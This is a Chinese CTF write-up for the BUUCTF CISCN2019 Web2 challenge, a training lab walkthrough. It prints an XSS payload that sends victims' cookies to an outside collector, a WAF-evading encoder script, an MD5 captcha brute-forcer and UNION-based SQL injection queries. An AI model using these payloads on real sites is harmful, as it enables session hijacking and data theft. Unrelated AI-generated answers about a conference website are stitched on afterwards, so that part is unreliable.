BUUCTF-[CISCN2019 华东北赛区]Web2

7 篇文章 0 订阅

BUUCTF-[CISCN2019 华东北赛区]Web2

看题

在这里插入图片描述
一个论坛,内容不错:)
可以投稿,点击投稿发现要注册,那就先注册登录。随便账号密码就行。
常规操作,扫一下站点,发现有admin.php,进行访问

在这里插入图片描述

思路

有session,可以确定一个思路,获取管理员的session得到权限,然后拿到flag

执行

去投稿,发现存在XSS漏洞,但是有一些过滤,''(''被转义成了"(",存在WAF,先转码,然后eval执行JS代码,并且需要一个window.location.href来自动触发刷新页面
使用题目提供的BUU的XSS平台查看代码,删除if那一部分

(function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=FKKdNv&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();

注意代码中的id=后面的内容要替换为自己的。
然后编码绕过
上脚本

in_str = "(function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=FKKdNv&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();"

output = ""

for c in in_str:
    output += "&#" + str(ord(c))

print("<svg><script>eval&#40&#34" + output + "&#34&#41</script>")

得到的结果进行投稿。
发布成功后,复制投稿地址,如果页面跳转,来不及复制,可以BurpSuite进行抓包。
点击反馈,记得要把一部分替换为web
在这里插入图片描述
破解验证码
上脚本

import hashlib

def func(md5_val):
    for x in range(999999, 100000000):
        md5_value = hashlib.md5(str(x).encode("gb2312")).hexdigest()
        if md5_value[:6] == md5_val:
            return str(x)

if __name__ == '__main__':
    print(func('')) #这里写入页面的那6个字符

为什么有人搜别的脚本执行会爆出一个错误,
因为没有指定加密方式,所以md5_value = hashlib.md5(str(x).encode("gb2312")).hexdigest()
(gb2312是它的加密方式,不是utf-8)
发送成功。
在这里插入图片描述
来到BUU提供的XSS平台,看到有人访问,并且提取到了session
进行替换,然后访问admin.php
进行sql查询或者sqlmap一把梭

-2 union select 1,2,3#

-2 union select 1,database(),user()#

-2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ciscn'#

-2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flag'#

-2 union select 1,2,group_concat(flagg) from ciscn.flag#

得到flag

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
### 回答1: 非常感谢您的询问。设计2015年CERNET东北地区年会网站需要考虑以下几个方面: 1. 网站整体风格:应该与CERNET的品牌形象相符合,同时也要考虑到年会的主题和氛围,选择相应的色彩和设计元素。 2. 网站结构和功能:应该清晰明了,方便参会人员浏览和获取信息。可以包括会议议程、演讲嘉宾介绍、参会指南、报名注册等功能。 3. 响应式设计:考虑到不同设备的访问,应该采用响应式设计,确保在不同屏幕大小和分辨率下都能够正常显示。 4. 安全性和稳定性:网站应该具备一定的安全性和稳定性,确保参会人员的信息和数据不会泄露或丢失。 以上是设计2015年CERNET东北地区年会网站需要考虑的几个方面,希望对您有所帮助。 ### 回答2: 作为一名AI语言模型,我将尽我所能为您提供解决方案。 在设计2015年CERNET东北地区年会网站时,我们需要注意以下几点: 1. 设计初衷:为广大的参会者提供一个方便快捷的参会平台,可以了解到会议的相关信息,参与到交流互动的过程中。 2. 用户导向:在设计中要考虑到用户的需求和习惯,采用便捷的界面设计,直观的图表展示,简单易懂的语言表达和快捷功能键,提高使用者的体验。 3. 美观易用:通过网站的视觉设计,来吸引用户的眼球,展现一个美观易用的界面。这也是让用户体验更加舒适的催化剂。 4. 信息全面:举行年会,邀请的嘉宾、议题、活动安排等等,这些都是用户关心的信息,网站需要确保内容全面易懂,便于查阅和参考。 5. 可持续发展:在网站的设计和开发过程中,要考虑到可持续发展的因素,使网站的更新和维护更加方便,时效性更有保障。 基于以上设计原则,我们可以开始构思网站内容和布局。 首先,网站需要有一个明显的导航条,在首页顶部位置,提供参会者所需要的信息。导航栏中应包含以下几个选项:活动日程、演讲嘉宾、资料下载、注册信息、关注我们和新闻动态。 其次,首页需要有一个引人注目的宣传图片,以吸引参会者的注意力。宣传图片可以与年会主题相呼应,每周进行更新。此外,页面底部可以展示赞助单位、系列活动、合作企业等信息,方便参会者了解整个年会的背景和重点。 在网站的设计中,可以采用活泼明快的颜色,配上简洁的排版,穿插实物照片和视觉图表表达数据和统计信息,以吸引用户的视线和加强用户体验。 最后,在网站的开发过程中,需要注意保证网站的运行稳定、速度快,数据信息的安全性和保护性,以防止网络攻击和信息泄漏等安全风险的发生。 综上所述,设计2015年CERNET东北地区年会网站,需要我们立足用户需求,注重用户体验,从多个角度考虑到网站的整体性和可持续发展性,最终创造一个美观易用、信息全面、安全可靠的网站平台,为年会的成功举办做出重要贡献。 ### 回答3: 随着互联网的发展,网站在企业、组织、学校等各行各业的活动中发挥着越来越重要的作用。作为2015年cernet东北地区年会的主办方,要设计一款优秀的网站,为会议的宣传、信息发布和与会者的交流提供便利。 首先,网站的设计应该体现年会的主题和风格。可以采用年会主题色作为网站的主色调,灵活运用设计元素,如logo、标语、背景、配色等,突出年会的品牌形象和主题。网站的布局要合理,清晰明了,从整体上方便用户浏览和获取信息。 其次,网站的内容应该丰富、实用和精准。应该包括会议议程、主题演讲嘉宾、参展单位、会员单位、场馆地图、住宿交通等详细信息,并及时更新。同时,可以提供在线报名、会议资料下载、网络交流平台等功能,方便与会者及关注年会的人群了解与参与会议的信息交流。 再次,网站的技术要求应该高效可靠。要考虑到网站的访问流量,保证网站的稳定性、安全性和快速响应能力。可以选用最新的网站建设技术和服务器托管,定期备份网站数据和进行漏洞扫描、升级修复等操作,减少网络攻击和病毒入侵等风险。 最后,要做好网站的推广与营销。可以利用社交媒体、微信公众号、新闻媒体等渠道进行宣传和推广,提高知名度和曝光率。同时,可提供在线咨询、客服热线等服务,增强用户的满意度和忠诚度。 总之,设计2015年cernet东北地区年会网站需要全面考虑网站的设计、内容、技术和推广等方面,通过精心的策划与实施,打造一款功能完善、风格独特、用户体验优秀的网站,为年会的成功举办提供强有力的支持和服务。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值